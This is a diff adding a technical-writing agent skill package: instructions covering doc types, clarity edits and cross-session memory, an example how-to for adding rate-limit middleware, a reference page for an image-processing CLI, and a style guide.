55
+ ## A how-to skeleton
56
+
57
+ A how-to guide is goal-first and assumes a competent reader. Use this shape:
58
+
59
+ ```markdown
60
+ # Rotate the signing key
61
+
62
+ Goal: replace the active JWT signing key with zero downtime.
63
+
64
+ ## Before you start
65
+ - You have `admin` access to the secrets manager.
66
+ - The service is running at least v2.4 (older versions cache keys for 24h).
67
+
68
+ ## Steps
69
+ 1. Generate the new key:
70
+ ```bash
71
+ openssl genpkey -algorithm RSA -out new-key.pem
72
+ ```
73
+ 2. Upload it as the *next* key (not yet active):
74
+ ```bash
75
+ keyctl push --slot next --file new-key.pem
76
+ ```
77
+ 3. Promote `next` to `active`:
78
+ ```bash
79
+ keyctl promote next
80
+ ```
81
+
82
+ ## Verify
83
+ Hit the health endpoint; `key_id` should match the new key's fingerprint:
84
+ ```bash
85
+ curl -s https://api.example.com/healthz | jq .key_id
86
+ ```
87
+
88
+ ## If it goes wrong
89
+ Roll back with `keyctl promote previous`. Tokens signed in the last 5 min stay valid.
90
+ ```
91
+
92
+ Note what the skeleton does: states the goal in one line, lists prerequisites *before* steps, shows real
93
+ runnable commands, gives a verification step, and provides a rollback. It does **not** explain how JWT
94
+ signing works — that belongs in an explanation doc, linked, not inlined.
95
+
96
+ ## A before/after clarity edit
97
+
98
+ The clarity pass turns vague, writer-centric prose into direct, reader-centric instruction:
99
+
100
+ ```text
101
+ BEFORE (writer-centric, hedged, abstract):
102
+ It should generally be possible for users to configure the timeout value if and when
103
+ the default behavior is found to be insufficient for their particular needs, by means
104
+ of the appropriate environment variable.
105
+
106
+ AFTER (reader-centric, direct, concrete):
107
+ The request timeout defaults to 30s. To change it, set REQUEST_TIMEOUT_MS:
108
+
109
+ export REQUEST_TIMEOUT_MS=60000 # 60 seconds
110
+
111
+ Raise it if you see "upstream timed out" errors under load.
112
+ ```
113
+
114
+ The "after" version is shorter, names the exact variable, shows the unit, gives a concrete default, and
115
+ tells the reader *when* they'd want this. Run `scripts/readability.mjs` over a draft to catch the kind of
116
+ long, dense sentences the "before" version is made of.
117
+
118
+ ## Output format
119
+
120
+ Deliver the finished document with:
121
+
122
+ - A clear, specific title that names the task or topic.
123
+ - A one-line statement of the goal/audience near the top.
124
+ - Prerequisites and expected outcome **before** the steps or body.
125
+ - Ordered steps (how-to/tutorial) or consistent sections (reference); explanation prose for *why* docs.
126
+ - Working, verified examples with expected output.
127
+ - Cross-links to sibling docs of other types instead of inlining them.
128
+
129
+ ## Common pitfalls and failure modes
130
+
131
+ - **Mixing doc types.** A tutorial that suddenly becomes an API reference serves neither reader. Split and link.
132
+ - **Writing for yourself, not the reader.** You know the system; the reader does not. Document the path
133
+ *they* take from *their* starting state, not the architecture as you picture it.
134
+ - **Untested examples.** Snippets that look plausible but don't run destroy trust on the first copy-paste.
135
+ Verify every command from the documented starting state.
136
+ - **Wall of text.** A dense paragraph hides the one step that matters. Break into lists, steps, and
137
+ headings; one idea per paragraph.
138
+ - **Burying prerequisites.** A reader who learns at step 6 that they needed admin access at step 1 is
139
+ furious. Front-load requirements.
140
+ - **Stale by design.** Docs that duplicate source-of-truth (flags, schemas, routes) drift instantly.
141
+ Prefer generating or linking; see `references/structure-and-maintenance.md`.
142
+
143
+ ## When NOT to use / boundaries
144
+
145
+ - **Not for code review or implementation.** This agent writes docs; it does not refactor code or fix
146
+ bugs. Use a reviewer/build agent for that.
147
+ - **Not for marketing copy or sales pages.** Persuasion and brand voice are a different craft.
148
+ - **Not for API *spec* generation** (OpenAPI/JSON Schema) — those are machine artifacts; this agent
149
+ documents *around* them. Pair with an API-design skill for the spec itself.
150
+ - **Not a substitute for the source of truth.** When a value lives in code (env flags, CLI `--help`,
151
+ schema), link or generate from it rather than hand-copying numbers that will rot.
152
+
153
+ ## Files in this package
154
+
155
+ - `references/diataxis-and-doc-types.md` — the four doc types, a decision table, and how to spot a blended doc.
156
+ - `references/clarity-and-style.md` — sentence-level style rules, word-cutting, voice, and formatting.
157
+ - `references/structure-and-maintenance.md` — information architecture, linking, and keeping docs from rotting.
158
+ - `examples/how-to-example.md` — a complete, verified how-to guide.
159
+ - `examples/reference-example.md` — a complete reference page with consistent entry structure.
160
+ - `scripts/readability.mjs` — a runnable readability signal (avg sentence length + long-word ratio) that flags dense prose; `--selftest` included.
161
+
162
+ Pairs with the `readme-writing` and `documentation-structure` skills for assembling docs into a coherent
163
+ documentation set, and with `update-docs` for keeping generated docs in sync with their source.
164
+
165
+
166
+ ## Memory — learn across sessions
167
+
168
+ You keep a persistent, per-project memory at `.claude/memory/technical-writer.md`. It is
169
+ how you get sharper on *this* codebase over time instead of starting cold every run.
170
+
171
+ - **Before you start:** read `.claude/memory/technical-writer.md` if it exists and apply what
172
+ it holds — corrections you were given before, this project's conventions, decisions
173
+ and their rationale, and recurring pitfalls. If it is missing, continue without it.
174
+ - **After you finish:** if this task taught you something durable — a correction from
175
+ the user, a project-specific convention, a mistake worth not repeating — append it as
176
+ a short dated bullet under a relevant heading, and prune anything now stale or wrong.
177
+ Keep entries terse and general.
178
+ - **Never record** secrets, credentials, tokens, personal data, or one-off trivia, and
179
+ never write anywhere except your own `.claude/memory/` file.
@@ -0,0 +1,76 @@
1
+ # How-to: Add a rate limit to an HTTP endpoint
2
+
3
+ > Doc type: **how-to guide**. Goal-first, assumes you can already run the service locally. For the
4
+ > concepts behind rate limiting, see the explanation doc; for every config field, see the reference.
5
+
6
+ **Goal:** protect a single endpoint with a per-client rate limit so a burst of requests returns `429`
7
+ instead of overloading the service.
8
+
9
+ ## Before you start
10
+
11
+ - The service runs locally (`npm run dev`) and you can hit `http://localhost:3000`.
12
+ - You have write access to `src/middleware/`.
13
+ - Redis is reachable at `REDIS_URL` (the limiter stores counters there).
14
+
15
+ ## Steps
16
+
17
+ 1. Add the limiter middleware:
18
+
19
+ ```js
20
+ // src/middleware/rate-limit.js
21
+ import { RateLimiter } from "../lib/rate-limiter.js";
22
+
23
+ const limiter = new RateLimiter({ windowMs: 60_000, max: 100 }); // 100 req/min/client
24
+
25
+ export function rateLimit(req, res, next) {
26
+ const key = req.ip;
27
+ const { allowed, retryAfter } = limiter.hit(key);
28
+ if (!allowed) {
29
+ res.set("Retry-After", String(retryAfter));
30
+ return res.status(429).json({ error: "rate_limited" });
31
+ }
32
+ next();
33
+ }
34
+ ```
35
+
36
+ 2. Apply it to the endpoint you want to protect (not globally, yet):
37
+
38
+ ```js
39
+ import { rateLimit } from "./middleware/rate-limit.js";
40
+ app.post("/v1/messages", rateLimit, sendMessage);
41
+ ```
42
+
43
+ 3. Restart the dev server so the middleware loads:
44
+
45
+ ```bash
46
+ npm run dev
47
+ ```
48
+
49
+ ## Verify
50
+
51
+ Fire more than the limit and confirm the `429`:
52
+
53
+ ```bash
54
+ for i in $(seq 1 101); do
55
+ curl -s -o /dev/null -w "%{http_code}\n" -X POST http://localhost:3000/v1/messages
56
+ done | sort | uniq -c
57
+ ```
58
+
59
+ Expected output — 100 allowed, then the limiter trips:
60
+
61
+ ```text
62
+ 100 200
63
+ 1 429
64
+ ```
65
+
66
+ ## If it goes wrong
67
+
68
+ - **All requests pass:** the counter store isn't shared. Confirm `REDIS_URL` is set and reachable.
69
+ - **Every request is 429:** your client IP is shared (proxy). Key on an API token instead of `req.ip`.
70
+ - **Roll back:** remove the `rateLimit` argument from the route and restart.
71
+
72
+ ---
73
+
74
+ Why this is a good how-to: it states the goal in one line, lists prerequisites *before* the steps, every
75
+ snippet is runnable, there's an explicit verification with expected output, and a troubleshooting/rollback
76
+ section. It does **not** explain the token-bucket algorithm — that's linked, not inlined.
@@ -0,0 +1,75 @@
1
+ # Reference: `imageproc` CLI
2
+
3
+ > Doc type: **reference**. Exhaustive and consistent; optimized for scanning and `Ctrl-F`, not for
4
+ > reading top to bottom. Every entry uses the same structure. For a guided walkthrough, see the tutorial.
5
+
6
+ ## Synopsis
7
+
8
+ ```text
9
+ imageproc <command> [options] <input> [output]
10
+ ```
11
+
12
+ ## Commands
13
+
14
+ | Command | Purpose |
15
+ |---|---|
16
+ | `resize` | Scale an image to a target width/height |
17
+ | `convert` | Change file format |
18
+ | `optimize` | Re-encode to reduce file size |
19
+
20
+ ## Global options
21
+
22
+ Every entry below follows the same shape: **flag**, type, default, description, example.
23
+
24
+ ### `--quality`
25
+ - **Type:** integer (1–100)
26
+ - **Default:** `82`
27
+ - **Description:** Output encoder quality. Higher is larger and sharper. Ignored for lossless formats.
28
+ - **Example:** `imageproc optimize --quality 70 photo.jpg`
29
+
30
+ ### `--width`
31
+ - **Type:** integer (pixels)
32
+ - **Default:** *(unset — preserves source width)*
33
+ - **Description:** Target width. If `--height` is omitted, aspect ratio is preserved.
34
+ - **Example:** `imageproc resize --width 1200 hero.png hero@2x.png`
35
+
36
+ ### `--height`
37
+ - **Type:** integer (pixels)
38
+ - **Default:** *(unset — preserves source height)*
39
+ - **Description:** Target height. Combine with `--width` to force exact dimensions (may distort).
40
+ - **Example:** `imageproc resize --width 800 --height 600 in.jpg out.jpg`
41
+
42
+ ### `--format`
43
+ - **Type:** enum (`jpeg` \| `png` \| `webp` \| `avif`)
44
+ - **Default:** *(inferred from output extension)*
45
+ - **Description:** Output format. Overrides the extension when both are given.
46
+ - **Example:** `imageproc convert --format webp in.png out.webp`
47
+
48
+ ### `--overwrite`
49
+ - **Type:** boolean flag
50
+ - **Default:** `false`
51
+ - **Description:** Allow writing over an existing output file. Without it, an existing target aborts the run.
52
+ - **Example:** `imageproc optimize --overwrite big.jpg`
53
+
54
+ ## Exit codes
55
+
56
+ | Code | Meaning |
57
+ |---|---|
58
+ | `0` | Success |
59
+ | `1` | Invalid arguments |
60
+ | `2` | Input file not found or unreadable |
61
+ | `3` | Output exists and `--overwrite` not set |
62
+ | `4` | Encode/decode failure |
63
+
64
+ ## Environment variables
65
+
66
+ | Variable | Default | Effect |
67
+ |---|---|---|
68
+ | `IMAGEPROC_THREADS` | number of CPUs | Worker threads used for encoding |
69
+ | `IMAGEPROC_TMPDIR` | system temp | Scratch directory for intermediate files |
70
+
71
+ ---
72
+
73
+ Why this is a good reference: identical structure for every flag, a default stated for each, tables for
74
+ enumerable facts (exit codes, env vars), and no narrative. A reader lands via search, reads one entry, and
75
+ leaves.
@@ -0,0 +1,52 @@
1
+ # Clarity and style
2
+
3
+ The clarity pass is where good docs are made. Draft to get the ideas down, then edit ruthlessly for the
4
+ reader. The goal: the shortest path to the reader's understanding.
5
+
6
+ ## Sentence-level rules
7
+
8
+ - **One idea per sentence.** If you used "and" to join two actions, consider two sentences or two steps.
9
+ - **Cut hedging.** Delete "generally," "it should be possible to," "in most cases," "as needed." State
10
+ the behavior; note exceptions explicitly.
11
+ - **Prefer active voice and the imperative.** "Set `TIMEOUT`," not "the timeout can be set."
12
+ - **Replace abstraction with the concrete.** "the appropriate variable" → name the variable. "a large
13
+ value" → give the number and unit.
14
+ - **Lead with the verb in steps.** "Run," "Open," "Set," "Verify" — the reader scans for the action.
15
+
16
+ ## Word-level rules
17
+
18
+ - Cut filler words: *just, simply, basically, actually, very, really, in order to* (→ "to").
19
+ - Avoid undefined jargon and acronyms; define on first use, then use consistently.
20
+ - Use one term per concept. Don't alternate "user / customer / account holder" for the same thing.
21
+ - Numbers and units always together: `30s`, `512 MB`, `60000` ms — and say which unit.
22
+
23
+ ## Voice and tone
24
+
25
+ - Address the reader as "you." Avoid "we" except in explanation/rationale.
26
+ - Be direct, not chatty. Warmth comes from clarity and respect for the reader's time, not exclamation marks.
27
+ - Don't apologize for the software or editorialize ("unfortunately," "obviously"). "Obviously" insults a
28
+ reader for whom it isn't obvious.
29
+
30
+ ## Formatting for scannability
31
+
32
+ - Headings every few paragraphs; a reader should locate their section by scanning H2/H3s.
33
+ - Lists for sequences (ordered) and for sets of options (unordered).
34
+ - Tables for any "name → value/meaning" mapping (flags, status codes, fields).
35
+ - Code blocks for anything a reader types or sees output; never inline a multi-line command in prose.
36
+ - Bold the **one word** that carries the warning or the key term, not whole sentences.
37
+
38
+ ## The wall-of-text test
39
+
40
+ If a paragraph is more than ~4 sentences or contains a sequence of actions, restructure it: a list, a
41
+ table, or sub-steps almost always reads better. Run `scripts/readability.mjs` over the draft — it flags
42
+ sentences whose average length and long-word ratio mark dense, hard-to-read prose.
43
+
44
+ ## Before / after pattern
45
+
46
+ Apply this transformation everywhere:
47
+
48
+ - Hedged + abstract + passive → direct + concrete + imperative.
49
+ - Long compound sentence → short sentence + list.
50
+ - "It is recommended that you configure X" → "Set X to … . Raise it when … ."
51
+
52
+ A reader should never have to read a sentence twice to find the instruction inside it.